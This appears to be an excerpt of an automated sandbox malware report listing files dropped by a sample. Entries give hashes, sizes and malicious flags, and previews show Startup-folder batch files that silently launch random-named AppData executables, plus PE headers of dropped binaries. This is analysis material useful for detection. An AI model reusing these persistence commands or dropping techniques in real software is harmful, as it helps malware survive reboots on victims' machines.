                                                                                                        SHA1:B4B29AE5A9D11BD35709B897C7BB47398AE1BDA0
                                                                                                        SHA-256:06988217B2FA66EFA87416AEBA5EB94550331E0BD25A852635509A9B2135B123
                                                                                                        SHA-512:C4A9B756D99ACC3BD49236FBB41728A26529EFBEEA1BF43517DA61FAA9AA7610851473113E54F68654E864753EB721A50AF3412F5C1F47D5A98F235DD25BAABD
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\b7rS22mUxj3RgBOeSVcYPglZ.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pAREVsdPZxbAcdElaNfgA9u9.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.977404849259692
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5zbTCJ353UNEF:fE1qLTwi23vmJ35Ee
                                                                                                        MD5:3C8AD4745BC5BD097A63AE1E37F21D72
                                                                                                        SHA1:E62BC859E1F93D226E23BBD903FE2E1C76934078
                                                                                                        SHA-256:9E427E71B378A6B524CC9A442F19854FF54802832DAC7FF109EABDB0161B4D09
                                                                                                        SHA-512:2851D1E00C8FD6E7C349184CCE91F94F0569EE626A75A55792317FA06D942779B7AD55E61A28ECDCE0627E3287B62336B27A37B62AC556BDDC1202D442CB927C
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\VNjvZol8PlRMOfu5WlQLfgQN.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pDDy4C7ODvZ435lhBIaTACmF.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.929682606644448
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5c2mqY99ys:fE1qLTwi23c2mqY9r
                                                                                                        MD5:E53290CAABBE42F1CDFD6C2007AB1EB5
                                                                                                        SHA1:A36BA533AE96F7A60E0395926750E43E14417D3B
                                                                                                        SHA-256:FC00B39576A0D2E35279812BBFFA2E680EF8A5D50D5A7247AE677E081E3529AA
                                                                                                        SHA-512:33BB7B25CFDF2ADA9961D816DF60072E1572F31B7CBBA13CC763B62DBF6A1473D3D9CE0AE66B078CC3DE669D960AAA9A1A8D423AF75B20AF18D38C56612E004C
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\9SGQSs1LUD8QXKzbk1xqOcnZ.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pV7bNqhswqirJjyAS8jsaYbX.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):89
                                                                                                        Entropy (8bit):5.0447418979743635
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5BihB3cuYsjBTxFIkdan:fE1qLTwi23IMuYvD
                                                                                                        MD5:5CF0619EA578864ABE11B09589ED20FD
                                                                                                        SHA1:55027223EEBE83BA562D14ECBCA2F6DCF21F06A0
                                                                                                        SHA-256:997BA87B3DC4957C627A986147E1EEAC8E5537C48A7DAE1261BD0E346D20DEDA
                                                                                                        SHA-512:1FF23C2B87607967D6C0D5E8CBABB4BE6DE842BAD975E82905655FBEFE1C0CDF7DC1D08FC4973E8A2791B06E53FF2A6DABBFD3815EF978110FB37E3E12CCBD9F
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\dGDzhUFIRKv6GPXQTIFzAmvz.exe" --silent --allusers=0

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pnqpJHJE2BLMcX2uUHb5y3NC.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):89
                                                                                                        Entropy (8bit):4.925102045426579
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5x8kZmZudASkdan:fE1qLTwi23fgZud/D
                                                                                                        MD5:D2AB53575A8140F2AEE9DEFF86E2DD5B
                                                                                                        SHA1:0652338363EE23476C3CE513C1CB2380832C36D8
                                                                                                        SHA-256:9CBE3168081323B6C3469F88C164104D80F0873130578C2FEF667F83300E4017
                                                                                                        SHA-512:F23376A8D8411D3196F48EA15ED28CC6D69D48EFBA2430B7C83F89105CCC40BF608249780015B2E399DB07594961BC4A34FA36AB611593B512658D89E85DB506
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\TYAlD9K38T8WbNsaQQTkm89X.exe" --silent --allusers=0

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qWXpKBmjAr0pZUqYzGRLsjpF.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.850125113494198
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5XlRsjMek4AdAl:fE1qLTwi23VRCM3Ndm
                                                                                                        MD5:9F20C180EDEB2D26848BDF46D32AC2F0
                                                                                                        SHA1:6640301D7D71DEA647DDE3C8394A127EA6E44FA0
                                                                                                        SHA-256:04706CC2C8747D443549684F12C602C7B2925DC0DEF18FE39CA9586F0CCE9E33
                                                                                                        SHA-512:DC99A9A47725003E98F49B78436EB18D6ED5DDB3EE0EB2776A57DE861E5388EBD772DE2B82AE5AB64CEE37B9B9BED7E08276EB0687C8228521512C14E9B3B6BD
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\rCKApTO5apcF0CWhs5J6G9uw.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rEEjiqeukO2VRDjzOoMgF5Q1.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.9552022756666485
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5L3Xij/0EF:fE1qLTwi23D2cEF
                                                                                                        MD5:AB44DB667F4166F2C1366CD647B1C48B
                                                                                                        SHA1:B33454F223537E29F6E4898ACE1DF887BE73602E
                                                                                                        SHA-256:864BB617099F9FF6B187CE7DA00398E0449B720A6FBC3EC1089AFAF280909075
                                                                                                        SHA-512:67D5105D37D7BFCDC5C5BE28189AFC41F5235BBFAE8E3B80982C5BCE00D12799E3005F098D392F59BA4E54B341BCD955DF61B4F147FAE17BBFE2DA4A76C48B11
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\nAYvFI55VRrTI2EB1vGUUN7i.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\uoKc3jku73co21M6XP2XzBRm.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.967772172317726
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5s0mF4tJHFn:fE1qLTwi23s0tF
                                                                                                        MD5:CE902E3F374134401A7DB97B39B55841
                                                                                                        SHA1:0ECB0E1D0DD48A685D2004E24660AA9118B92E24
                                                                                                        SHA-256:61D250A04E5A3CFA22FA78884E395CC5BDE56EB95C83B0783EE0125294AB161A
                                                                                                        SHA-512:12C61900D40EA206BD815ABF7E0E05B8122CA5A9B7A94182CD062C25EFE8A7AE80B2C84480AED6B4CAE580E95522053AA871050576AB87034A499919CB26D181
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\IQbcma6zrvJ1HzUv5k9WE6QY.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vDK8Bjmbw8F7jtFi7BU7EIjV.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):89
                                                                                                        Entropy (8bit):4.978448251571103
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5Mxm2xTwfy4mIkdan:fE1qLTwi23MxmW8J/D
                                                                                                        MD5:93D65F681CEAC176AECB1582A3E9BA61
                                                                                                        SHA1:4311723243BA8A93789EDEBD610035C417D6B4A5
                                                                                                        SHA-256:789E760DE980320C80FF12D5B275FFD8314A3A486D15F1CE5EC3666010E96317
                                                                                                        SHA-512:A65264CFBEB7B84D036D29257206C4F53D2A6989EEA10D48E948A87DD349BE16F5975BCB1BC13B516F302B6F56DA0CFA63CB39E9D7438E37C1004E5170864A8B
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\ikxtQFXRCEfEHQTLmAUzD8qT.exe" --silent --allusers=0

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vekKtIb4HbI5SpYmoZ3cGvXG.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.888554202495479
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J59M6ChC3mu9lde/Jln:fE1qLTwi23HXbdYl
                                                                                                        MD5:A28F70C66DD60FB4889A47D671B53F1B
                                                                                                        SHA1:4C8D3F246F8E3DF452FB173AA2AA7C0C9A6FC847
                                                                                                        SHA-256:A81B10C3ACC02298A6BF57C84894149781248D7803D8878BBFD40509B9DBE84A
                                                                                                        SHA-512:3A9ED3EB1B9C84AF66177DB1E9A907FFE8BFD7C45CEF53F4C61FD8C1851E4D16EAC36AE4568CF0FE0309057E75D2F8E2A9B72B6A1D09B9AE196D2F5A0B53B615
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\XiQfgDjwaoRC0aI9y1xzbcbz.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xUwcy6wbvWLGo9dph4cGTShV.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.973512753576008
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5GDYGtdOOixnTIEFn:fE1qLTwi23G8pF
                                                                                                        MD5:A5C6C38CE11E0D315D18681D54760746
                                                                                                        SHA1:FAD88E39C8994655B81ACCB2AC7292A9199B70AE
                                                                                                        SHA-256:00A2233B418A6F244CAD52B03B9BFBE352B20A10E5AC26CE4C72623160CBBD01
                                                                                                        SHA-512:E0198EC230ADF7C416ECE0337ADE94E162E18F1AC65D5FD49B4BED65A1D1649B1CD3FC41D85AC2402EDAEDFB052CA775F706CE1C2EF36989072D31B37D8BA68E
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\cfFApIZxb8kkHuTB0N89Kc85.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xzk1C1rQiwgJE4mEfBRZiYfJ.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.977404849259691
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5PGr6Tgo7a0wkiF:fE1qLTwi23+rigoWJkiF
                                                                                                        MD5:11C2EABFDFBA6BC223735F08E7450B25
                                                                                                        SHA1:EFFA91DE4D2D3A717139EE29669FB97A50D32BEB
                                                                                                        SHA-256:E47C04650A1BE99E2E0450FACFD1EE770DC6F6BE87A379F69DB6CB63B9E71166
                                                                                                        SHA-512:62DEE6B2E3804BA90DCB6C43C46C694F7ECF5EDC967AAF2B1889DBFDFF0738A3DDDAF10823B0D60B15EA25198FCE6E27DB7918D46D39159EF9A7827815E1C3F0
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\jjgHySnKRf0NbElCZVSQsmlU.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\y2xUHCgSGKPsCWSBr4ueFeFq.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):89
                                                                                                        Entropy (8bit):4.793164824653428
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5E/KrjLS9V8Nxvpkdan:fE1qLTwi23E/wjLgVi5pD
                                                                                                        MD5:F9E0F617334184DB69B9EC088C98F40E
                                                                                                        SHA1:BAC1691CD3C0BDC8B144F448D4738D82B9AB7049
                                                                                                        SHA-256:1044CDF91268CE5E8949B4C06179684E81D8C8483F92A546A8E634955A3D8C9A
                                                                                                        SHA-512:046CC8F55EF517B27562AC457A1000AFE04BCD30844346474D4B8BD1468EFDB97FC9A82709D620BDCC133C06EB5F65FE0B73AAAEF0346E8A8ECFBD16228789DE
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\a00oNFnYUapr4qcZYFTTBItp.exe" --silent --allusers=0

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\z5DD5HpkX1Fb1WMRS4timOqh.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):89
                                                                                                        Entropy (8bit):5.040646078012563
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5CDNT5JULuAQTnLNSkdan:fE1qLTwi23CRTKQ9SD
                                                                                                        MD5:CCFEF4F71EFB30DCB6A340527DA5AF6B
                                                                                                        SHA1:72C2E76C762D911D4199F6B1B219AD8F7D2FFCA4
                                                                                                        SHA-256:8FEDCCD9E9953E14792F7050FD7AD6EA8C9D8B2D12C742D0E6450806248952FB
                                                                                                        SHA-512:6A1D666BEC0115D15F7ABFA54E8210126FAD9DCCBA332D5AE6ADB81053309C1380DBEB9CAA114E434F7E0CC7916A412113983E3D633C66054960EA9DBE281D0B
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\gfhvq0lCOSbYQVB1nKgfu6Hp.exe" --silent --allusers=0

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zZ9jOiBMLvJKs94l3cO5LDjk.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.820713348788315
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5ykElXlL7s:fE1qLTwi23y5lns
                                                                                                        MD5:88FD20DEEA660096C9D9E6D189FFB7C9
                                                                                                        SHA1:D49BB9D682CCAAB10ACE9CA3C8527ED1A1B0F568
                                                                                                        SHA-256:83DA0E54FA81E26F0FBB7CCE7AD5BEDEC1FDED03A202D809D42068B3D47E88B7
                                                                                                        SHA-512:55DD820ACD707182C469E5425861D7715FBA6F73A24824EF33436FA0523F3A2D96CC72ABBB2FB468C66CAA3531EF62A159A62562765A70338FC045A65D23379C
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\WVaSUNuxBDiOsviBr0A0knGj.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zc1Hpjg06kEPCxYidXtEteEN.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.967772172317727
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5RgLEjSEAl:fE1qLTwi236Eupl
                                                                                                        MD5:CEF9FB51BCBF826611D93583D9B24C4B
                                                                                                        SHA1:A84C150820E98B1652C1AF2F1D14C2DBC4CBA8B5
                                                                                                        SHA-256:E88042D013C4C39131B1C736432CA4FA66CF9E95ED657A37C5B839B683A74720
                                                                                                        SHA-512:EC319F6E4860239651D5DE42C3B392DC5123EF1698418C34565D659A55181475F654FE3E10C29BD8646A69B2D3C8CBF908C7ED6D90F833EEAB709A88501A8FD5
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\4EHgS2alV3RiwqAfmEQ0frTw.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zeOfkDDOQWsuppdm74AXgsYG.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.966303562463169
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J51iiMI0cbBSOI90dAln:fE1qLTwi23AWbBEl
                                                                                                        MD5:CCDFCE13601A7CB5DF26217BDB3E162B
                                                                                                        SHA1:FDA35A3CCEC99E885D642A14A402CAFC8F09566D
                                                                                                        SHA-256:7A17ED1DEE68F416DA61A0C3CA5F30DD099C0852A19B725EC232100F6BEFBAC6
                                                                                                        SHA-512:60BB959B527DD33773B46384A78D484500E41C83F740977052466CBC2CE340FC16478933255CA493680EDF3A2C50FA88D759A461CCF43DCD29267753ABEC9064
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\PG0i0imJz19jFNp7ko6pIPRA.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports\settings.dat

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe
                                                                                                        File Type:data
                                                                                                        Category:dropped
                                                                                                        Size (bytes):40
                                                                                                        Entropy (8bit):3.44546184423832
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:FkUwL9n:KL9n
                                                                                                        MD5:85CB54EF93812E9198D60C398A871D8B
                                                                                                        SHA1:9A1A469A999DDF3A5AB0CDFF4BDB3A0AB74BB635
                                                                                                        SHA-256:DA1461089CD139C8E7A9304234630D95D422F5D1F2A6C850273735A5C6324F87
                                                                                                        SHA-512:A31555C8D1660E8505B387505DB871037219701DF8FCAD6C4BBFCDC7A3A08C620A4B8ED1EB9A69553460B3162E076F23BA7C0BF0BB4F0F39FCD1D3389A0265FD
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:sdPC.....................^.rp.E.m.jB:..

                                                                                                        C:\Users\user\Pictures\1Pr2wNZB1b6nfW4H5bxYRlKb.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4356976
                                                                                                        Entropy (8bit):7.967527814287475
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:J1X44t3SGQ20KQ8fTQFYVjsb2ukZkh640j+5QlH/:HxbQ21QC5QrkWU40j+5QF
                                                                                                        MD5:D373FF7CB6AC28B844D9C90FC8F1AB3F
                                                                                                        SHA1:8BD2BD07E929D71F5C27BA7FAB3777F29A4C48E3
                                                                                                        SHA-256:92A53ACF35B82EAF96286B8A5DAB6CEF0513C48DFF9E480FA3486033258C093B
                                                                                                        SHA-512:F89FCE3365F1A9091B2523EA310089C53D67469E1D75B1E842EFF2D59EB2A42FBBB49F03F3A45F9E56734895ADD9AC865E9ADC1DBC0DFC4B34314B48BB0871A1
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L...6t.c.................>@..ZH......Q.......P@...@...................................B.....................................XB@.d....................pB.p....P......................................p0..@............................................text...T<@......>@................. ..`.data...\iF..P@..>...B@.............@....rsrc.................@.............@..@.reloc...j...P...l....B.............@..B................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\Pictures\1mdoluAIy6r3F43oFWoG2Z1G.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4356976
                                                                                                        Entropy (8bit):7.967527814287475
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:J1X44t3SGQ20KQ8fTQFYVjsb2ukZkh640j+5QlH/:HxbQ21QC5QrkWU40j+5QF
                                                                                                        MD5:D373FF7CB6AC28B844D9C90FC8F1AB3F
                                                                                                        SHA1:8BD2BD07E929D71F5C27BA7FAB3777F29A4C48E3
                                                                                                        SHA-256:92A53ACF35B82EAF96286B8A5DAB6CEF0513C48DFF9E480FA3486033258C093B
                                                                                                        SHA-512:F89FCE3365F1A9091B2523EA310089C53D67469E1D75B1E842EFF2D59EB2A42FBBB49F03F3A45F9E56734895ADD9AC865E9ADC1DBC0DFC4B34314B48BB0871A1
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L...6t.c.................>@..ZH......Q.......P@...@...................................B.....................................XB@.d....................pB.p....P......................................p0..@............................................text...T<@......>@................. ..`.data...\iF..P@..>...B@.............@....rsrc.................@.............@..@.reloc...j...P...l....B.............@..B................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\Pictures\36zVB2iUP7gf6aRwVtLyHdF2.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):263168
                                                                                                        Entropy (8bit):6.52994835847705
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3072:LPywFVBPM+O+GWzYGtlxfSibc7BZAqk5K77cp3HJAXRB3h7ovb1YP:TpPM+tGyjNm1kMsXCBM
                                                                                                        MD5:1C4BA9EB815AD39858DEF7341D3CFFF1
                                                                                                        SHA1:EA2178498AE21F72C1B3E747B52EB2C352D0AAEB
                                                                                                        SHA-256:43B6C8B1F176259C637C7DA21AEAB0FCF0F3934C599CEACB755C937EF71D0238
                                                                                                        SHA-512:F5CE6A136BA922C67E2A7A4B333A3A4196AAEFC7ACF7650B23C206CA4C9F4BD647772C4AF2AFD22F2C21CDC2DD570F34EB47537AFBA4D9E9D4B620FF08BAEEE1
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................PE..L...Ob.b.............................Z....... ....@...........................#.....9.......................................`........P......................`#.....@...............................@3..@............................................text............................... ..`.data...\.... ......................@....rsrc........P.......$..............@..@.reloc..R$...`#..&..................@..B................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\Pictures\37Xh5AWBBTFPX7DCQvpQDJWI.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7643669
                                                                                                        Entropy (8bit):7.996947593317046
                                                                                                        Encrypted:true
                                                                                                        SSDEEP:196608:91OykiNwE/AJoqsoKQRDKlnbTQwI/S2CU5B2rSGA3s:3OZiNwE/AifQRDTw6orSGA3s
                                                                                                        MD5:5CCF030395F0F69B0C11A11E26B31833
                                                                                                        SHA1:44DC863603CCA79141886313D7F1C95E749B095B
                                                                                                        SHA-256:7D48B37BB9001C586A9F54794DF32CD98303AC9510708A906012A4346203D475
                                                                                                        SHA-512:11F550DE98E3C093DEDF829BFB2DD181F2B759E4C2D286FB9CF8AF6CBB4A70C162C1595C00BD77AA50C3E7FD0A0380572D72BADC141D391A46E911021CD6BCF6
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):5494552
                                                                                                        Entropy (8bit):7.709997935733505
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:jkIr0MF/LGIgU95JrA8MjLiwlqVwDfb1BrOuQ4:jkIr0MF/FV95BA8hwgCpO2
                                                                                                        MD5:9873907D252DCECD6BAEA9A11AC4B0DA
                                                                                                        SHA1:102562C75D3DBB2C9B2922674F83C5F0F36E3D0C
                                                                                                        SHA-256:A5C68511132B9590F0D60BC6FA5F43999C25D636D0B29AAE1FF3787688907FE7
                                                                                                        SHA-512:2054607E09F31D65060A8B8205755F785B5EA0BE9B248977B00FA95ED2938313309876D91B7FEF5D33866024CF52CF0DD7A73336E703E035770E24B506DB19C8
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(......S.. .............@.............................0T.......S...`... ...............................................S. .....T.......S.X.....S..)... T.x.............................S.(.....................S.h............................text...............................`..`.data...@.R.......R.................@....rdata.. .....S.. ...hS.............@..@.pdata..X.....S.......S.............@..@.xdata..4.....S.......S.............@..@.bss.... .....S..........................idata.. .....S.......S.............@....CRT....`.....S.......S.............@....tls..........T.......S.............@....rsrc.........T.......S.............@....reloc..x.... T.......S.............@..B........................................................................................................................................................................

                                                                                                        C:\Users\user\Pictures\4hEl5UUyWTEkI93Zbzcn8KjL.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
                                                                                                        Category:dropped
                                                                                                        Size (bytes):2939768
                                                                                                        Entropy (8bit):7.767396712652845
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:49152:6GFBJ146mJFoZYuozeJdMjCgg8V9SI657uMCfmOPABjtz/pLXPtU+q:3JBm3eJcFt4uM6mFBJtLXVUf
                                                                                                        MD5:F7D06CE1DE3CDC8C9AB12EFCF33BC6DE
                                                                                                        SHA1:A27A69635A7981FF75F9B193413512555D47C123
                                                                                                        SHA-256:9F1E4EFB999E56DE7EA4D86AD2D70F236138810ACB254577DC30FAC605FD12A1
